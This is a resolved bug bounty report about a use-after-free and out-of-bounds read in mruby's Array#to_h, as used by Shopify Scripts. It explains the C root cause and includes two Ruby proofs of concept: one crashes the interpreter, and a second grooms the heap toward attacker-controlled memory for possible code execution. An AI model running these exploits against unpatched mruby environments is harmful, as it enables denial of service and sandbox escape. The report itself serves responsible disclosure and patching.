Loading HuntDB...

Use after free vulnerability in mruby Array#to_h causing DOS possible RCE

Critical
S
shopify-scripts
Submitted None
Reported by isra17

Vulnerability Details

Technical details and impact analysis

Code Injection
This bug was found with `jmlb337`. ## Vulnerability The function `to_h` will call the C function `mrb_ary_to_h`. This will iterate through the elements of the array. If an element is not of type Array it will call attempt to call `to_ary` method of that object. If `to_ary` does not return an array, the function will raise a ruby exception with the class name in the exception message. However, the code does not properly check that the array length was not modified during the call of `to_ary`. The vulnerability is triggered when the array is shrunk during call to `to_ary`, letting `mrb_ary_to_h` read an out of bound object to get an element classname. A crash or or denial of service can be triggered by neutering the array in the `to_ary` call. A `mrb_obj_iv_set` call done on the controlled class pointer can be used to have a memory write leading to RCE. ## Reproduction Step 1. Define a new class that will define the method `to_ary`. 2. in the `to_ary` clear a global array that will be later define and return a non array object. 3. Create the global array containing an instance of the defined class. 4. Call `to_h` on that array. ## PoC DOS ```ruby class A def to_ary $a.clear nil end end $a = [A.new] $a.to_h ``` This POC will cause a null memory access and terminate the mruby process. ## Explaination The bug is triggered due to call back to `to_ary` in [array.c:130](https://github.com/mruby/mruby/blob/master/mrbgems/mruby-array-ext/src/array.c#L130): ```c v = mrb_check_array_type(mrb, RARRAY_PTR(ary)[i]); ``` The function `mrb_check_array_type` check if the element at `RARRAY_PTR(ary)[i]`. in the case of the POC it will be of type `A`. It will then continue to call the `to_ary` method of the `A` class to convert the value into an array. ```c MRB_API mrb_value mrb_check_array_type(mrb_state *mrb, mrb_value ary) { return mrb_check_convert_type(mrb, ary, MRB_TT_ARRAY, "Array", "to_ary"); } MRB_API mrb_value mrb_check_convert_type(mrb_state *mrb, mrb_value val, enum mrb_vtype type, const char *tname, const char *method) { mrb_value v; if (mrb_type(val) == type && type != MRB_TT_DATA) return val; v = convert_type(mrb, val, tname, method, FALSE); if (mrb_nil_p(v) || mrb_type(v) != type) return mrb_nil_value(); return v; } ``` By calling the `Array#clear` method on the global array, the pointer to the array data (`ptr`) will be set to null. ```c MRB_API mrb_value mrb_ary_clear(mrb_state *mrb, mrb_value self) { ... a->len = 0; a->aux.capa = 0; a->ptr = 0; ... ``` Since `to_ary` will not return an array, the C code will attempt to raise an exception with the class name in the exception message. ```c if (mrb_nil_p(v)) { mrb_raisef(mrb, E_TYPE_ERROR, "wrong element type %S at %S (expected array)", mrb_str_new_cstr(mrb, mrb_obj_classname(mrb, RARRAY_PTR(ary)[i])), ``` when it calls `RARRAY_PTR(ary)[i]` it will attempt to reference `0[i]` and crash the process. ## Exploitability The vulnerability is exploitable as long as the attacker can run arbitrary ruby code in the mruby interpreter. It should cover mruby-engine case as used by Shopify. ## Impact This vulnerability can cause a Denial Of service on the mruby process very reliably. It could also lead to farther memory corruption and potentially lead to Remote Code Execution. We are convinced we can push this bug further to lead to memory corruption and RCE. I spoke with François Chagnon and we preferred to report the bugs as soon as possible while working on a complete proof of concept afterward so it can get patched earlier. Therefor we would like a week or two to get time to work on this and be able to claim the higher tier bounty. The proof of concept would also used the other reported bug [#181319](https://hackerone.com/reports/181319) to get a memory disclosure. ## Possible Remote Code Execution POC #2 ```ruby $size = 32 $bb = [] for i in 0..256 $bb.push("b"*$size) end class A def to_ary $bb.clear $a.clear $a.push("b"*256) #first byte is 0 as long as the lsb != 1 its fine $a.push("\x00bcdefg\x70hijklmnopqurtuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY"*3 + ("a"*200)) $a.push("y"*256) $a.push("e"*256) return "a" end end $a = [[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],A.new] for i in 0..256 $bb.push("z"*$size) end @a = $a.to_h ``` ## Exploitation In the second POC, and attacker creates an array of 7 elements where the last element has an object with the vulnerable to_ary method. 7 elements is important because when the bug is triggered the index of the array will be out of bounds by 3 pointer size. That is where our data will be. after clearing the global array push some elements back into the array. No more than 4 since that will increase the capacity of the array to 8 and our index will not be out of bounds. by pushing the large strings the data of the strings will be placed after the array data. When the call is made to `mrb_obj_classname(mrb, RARRAY_PTR(ary)[i])`, user controlled data will be returned. An attacker could then craft an `mrb_value` object using the strings and cause farther memory corruption. There exists code paths that could allow an attacker to right data to a pointer crafted by the attacker. ## Proposed Fix See patch in attachment.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Code Injection